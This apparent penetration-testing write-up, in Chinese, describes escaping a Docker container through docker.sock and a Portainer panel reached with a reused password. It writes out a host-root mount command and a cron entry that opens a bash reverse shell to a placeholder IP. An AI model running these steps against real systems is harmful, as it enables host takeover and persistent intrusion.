前言

  • 在一个平平安安的下午,拿到个普普通通的命令执行反弹来shell

  • 看到有.dockerenv文件,就知道要开始逃逸了

  • 个人习惯首先找docker.sock文件

  • 找到后开始常规的docker.sock挂载逃逸

docker -H unix:///run/docker.sock run -v /:/test -it ubuntu:latest /bin/bash
  • 拉取镜像报错,应该是docker官方镜像仓库被墙的原因,报错如下

Get "https://registry-1.docker.io/v2/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
  • 个人想到的解决方法是更换没有被墙的镜像仓库然后再挂载进行逃逸

  • 但是宿主机无法进行操作没办法进行更换镜像仓

  • 再或者手动上传docker镜像文件

  • 然后就来到这次的主题了

Portainer 的后渗透

  • 在前期的信息收集找了该目标的祖传密码登陆到了Portainer面板

更换镜像源

  • 根据之前的思路首先更换镜像仓库源

  • Name就随便写Registry URL就在网上找的镜像源

新建容器

  • 下拉切换新建的镜像源

  • 拉去配置容器

  • 配置控制台

  • 配置挂载文件,这个很重要

  • 配置宿主机的目录,配置docker.sock

  • 找到新建的容器

  • 检查下挂载

  • 进入容器进行操作

逃逸

  • 既然能操作宿主机那么接下来的思路就是:找web路径写webshell、写ssh私钥、定时任务反弹shell

  • .ssh web路径直接写定时任

echo '* * * * * bash -i >& /dev/tcp/ip/4000 0>&1' >> /test/var/spool/cron/root

  • 在服务器进行监听等待

结束

  • 逃逸结束后就可以对服务器进行维权等操作

  • 这个可能不是唯一的思路,我只想到了这个思路